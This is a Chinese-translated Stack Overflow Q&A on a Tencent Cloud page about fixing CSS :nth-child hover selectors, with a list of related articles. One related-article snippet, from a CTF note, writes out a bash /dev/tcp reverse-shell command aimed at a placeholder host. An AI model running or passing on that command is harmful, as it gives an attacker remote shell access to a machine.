Loading [MathJax]/jax/input/TeX/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >问答首页 >只能识别第一个第n个子命令

只能识别第一个第n个子命令
EN

Stack Overflow用户
提问于 2013-01-27 00:05:02
回答 1查看 222关注 0票数 0

我正在尝试修改这个“鼠标悬停在任何东西上”代码(http://csstricks.com/examples/HoverEverythingBut/),这样悬停在上面的链接将会改变颜色,或者最终会被图像所取代。我认为完成此任务的最好方法是使用第n-child命令,并且我添加了以下CSS...

代码语言:javascript
运行
AI代码解释
复制
    #all:hover ul li a:hover:nth-child(1)  { background: #ffffff no-repeat; }
    #all:hover ul li a:hover:nth-child(2)  { background: #000000 no-repeat; }
    #all:hover ul li a:hover:nth-child(3)  { background: #bbbbbb no-repeat; }
    #all:hover ul li a:hover:nth-child(4)  { background: #c73b1b no-repeat; }
    #all:hover ul li a:hover:nth-child(5)  { background: #367db2 no-repeat; }
    #all:hover ul li a:hover:nth-child(6)  { background: #111111 no-repeat; }
    #all:hover ul li a:hover:nth-child(7)  { background: #222222 no-repeat; }
    #all:hover ul li a:hover:nth-child(8)  { background: #333333 no-repeat; }
    #all:hover ul li a:hover:nth-child(9)  { background: #444444 no-repeat; }

不幸的是,似乎只有第一个第n个子命令被识别。现在,每当我将鼠标悬停在一个链接上(无论是第一个还是最后一个),背景只会变成白色。

任何帮助都将不胜感激!谢谢!

EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2013-01-27 00:08:03

如果您的html类似于<ul><li><a></li><li><a></li>...,那么第n个子元素应该在li上。

代码语言:javascript
运行
AI代码解释
复制
#all:hover ul li:nth-child(1) a:hover  { background: #ffffff no-repeat; }
#all:hover ul li:nth-child(2) a:hover  { background: #000000 no-repeat; }
#all:hover ul li:nth-child(3) a:hover  { background: #bbbbbb no-repeat; }
#all:hover ul li:nth-child(4) a:hover  { background: #c73b1b no-repeat; }
#all:hover ul li:nth-child(5) a:hover  { background: #367db2 no-repeat; }
#all:hover ul li:nth-child(6) a:hover  { background: #111111 no-repeat; }
#all:hover ul li:nth-child(7) a:hover  { background: #222222 no-repeat; }
#all:hover ul li:nth-child(8) a:hover  { background: #333333 no-repeat; }
#all:hover ul li:nth-child(9) a:hover  { background: #444444 no-repeat; }
票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/14542960

复制
相关文章
Jquery 获取第一个子元素
<ul>   <li>John</li>   <li>Karl</li>   <li>Brandon</li> </ul> 获取第一个元素:  $("ul li:first-child") <div id="getfirst">    <ul>     <li>John</li>     <li>Karl</li>     <li>Brandon</li>   </ul> </div> 获取第一个元素:  $("#getfirst").find("ul li:first-child") 或$("#getfi
庞小明
2018/03/07
3.5K0
第 N 个数
直接来看今天的题目(来自于 LeetCode 上的第 400 号问题:第 N 个数):
五分钟学算法
2022/04/08
6590
第 N 个数
使用Arraylist将数组中元素随机均等乱序分为N个子数组
为了将数组中的元素 随机地 ,均等地, 不重复地 ,划分到N个子数组中 使用Arraylist将数组中的元素保存到ArrayList中,使用Collections.shuffle(ArrayList)对列表中的元素进行乱序处理 遍历元素,将指定个数的元素重新装载到list列表或数组中 示例 生成GC含量为50%的DNA序列 说明:GC含量反映一条DNA链的GC碱基占所有碱基的比例(其中DNA碱基由ACGT四种碱基构成)。 作法: 生成一条长度为bit的整型数组DNAindex,用以表示碱基索引。 将DNA
演化计算与人工智能
2020/08/14
1.2K0
第n个丑数
该文讲述了如何求第N个丑数,通过不断乘2、3、5来保证得到的数始终是丑数,直到达到要求。具体实现采用了数组保存已经计算过的丑数,从而避免重复计算。
用户1148830
2018/01/03
8980
Oracle查询第m到第n条数据
这种方法是最优方法,因为该方法进行排序后取值,所以能够保证两次取值都会取出相同的值。
SuperHeroes
2019/03/12
1.4K0
git第n次学习笔记
Index/Stage:暂存区,用于临时存放你的改动,事实上它只是一个文件,保存即将提交到文件列表信息
天天Lotay
2023/01/10
3650
git第n次学习笔记
SQL优化:第N高的薪水
解题思路: 这个一道sql函数题目,跟上一题有点一样,先n=n-1,因为从0开始的。 第二:limit哪里从n开始选择当前那个。
贵哥的编程之路
2021/09/08
4920
[face_recognition中文文档] 第1节 人脸识别
Face Recognition人脸识别库 这是世界上最简单的人脸识别库了。你可以通过Python引用或者命令行的形式使用它,来管理和识别人脸。 该软件包使用dlib中最先进的人脸识别深度学习算法,使
KangVcar
2018/07/06
3.4K0
leetcode求第n个丑数
编写一个程序,找出第 n 个丑数。 丑数就是只包含质因数 2, 3, 5 的正整数。
早起的鸟儿有虫吃
2019/05/05
9860
leetcode求第n个丑数
链表倒数第n个节点
题意 找到单链表倒数第 n 个节点,保证链表中节点的最少数量为 n 。 样例 给出链表 3->2->1->5->null 和 n = 2,返回倒数第二个节点的值 1 思路1 一个简单的思路就是先将链表进行反转,然后在反转后的链表中,顺着找第 n 个元素即可。 代码实现1 /** * Definition for ListNode. * public class ListNode { * int val; * ListNode next; * ListNode(int val
一份执着✘
2018/06/04
6610
route -n命令_router.replace
$route.path 类型: string 字符串,对应当前路由的路径,总是解析为绝对路径,如 /foo/bar。
全栈程序员站长
2022/11/18
7820
83 - 找到第n个丑数
只包含2、3、5中的1个或多个因子的数称为丑数,要求按从小到大的顺序找到第n个丑数 ''' 2, 3, 5 6: 是丑数 14: 不是丑数,包含7 下一个丑数必定是数组的某一个丑数A * 2、B * 3、C * 5 中最小的值 M2, 之前的丑数*2都小于当前最大的丑数 之后的丑数*2都大于当前最大的丑数 M3、M5 ''' def getUglyNumber(index): if index < 1: return 0 res = [1]
ruochen
2021/06/16
4770
83 - 找到第n个丑数
Leetcode 400. 第N个数字
在无限的整数序列 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, ...中找到第 n 个数字。
zhipingChen
2019/06/11
7430
Leetcode 400. 第N个数字
2022-07-29:一共有n个人,从左到右排列,依次编号0~n-1, h[i]是第i个人的身高, v[i]是第i个人的分数, 要求从左到右选出一个子序列,在这
n <= 10的5次方, 1 <= hi <= 10的9次方, 1 <= vi <= 10的9次方。
福大大架构师每日一题
2022/07/29
2880
2022-07-29:一共有n个人,从左到右排列,依次编号0~n-1, h[i]是第i个人的身高, v[i]是第i个人的分数, 要求从左到右选出一个子序列,在这
Linux系统命令找不到了,只能重装系统?
运维时间长了,总会遇到各种难搞的问题,虽然说Linux不像windows server那样容易出蓝屏,无法启动之类的系统问题,但也不是不会出现系统层面的故障,比如今天在群里有小伙伴遇到的
李俊鹏
2021/05/27
4.9K0
求第n个素数到第m个素数的和
版权声明:本文为博主原创文章,转载请注明博客地址: https://blog.csdn.net/zy010101/article/details/80079784
zy010101
2019/05/25
1K0
【Leetcode】177. 第N高的薪水
编写一个 SQL 查询,获取 Employee 表中第 n 高的薪水(Salary)。
Leetcode名企之路
2018/12/05
1.4K0
LeetCode 400.第N个数字 - JavaScript
在无限的整数序列 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, …中找到第 n 个数字。
心谭博客
2020/04/21
4370
N1book---死亡ping命令
N1book---死亡ping命令 有时候命令执行的题目限制了字数或者某些函数被禁用了,那么此时可以用反弹shell的效果,连接题目的机器 一般来说,构造bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxxx 0>&1的方式,发送到客户端执行,但是有时候不一定可以,可能会报错啥的,所以此时可以在只记得vps中,新建一个页面,比如xxx.xxx.xxx.xxx/bash.php中的内容是bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxxx 0>&1,然
vFREE
2021/12/20
1.6K0
N1book---死亡ping命令
LeetCode 400. 第N个数字(数学)
在无限的整数序列 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, …中找到第 n 个数字。
Michael阿明
2020/07/13
6880
LeetCode 400. 第N个数字(数学)

相似问题

jquery选择第n个子级的第n个子级。

47

第n个子节点覆盖第一个子节点

11

Xpath:如何获取第n个子对象的第n个子对象

110

如何使用jquery选择第n个子节点的第n个子节点?

10

jQuery第n个子节点

50
添加站长 进交流群

领取专属 10元无门槛券

AI混元助手 在线答疑

扫码加入开发者社群
关注 腾讯云开发者公众号

洞察 腾讯核心技术

剖析业界实践案例

扫码关注腾讯云开发者公众号
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档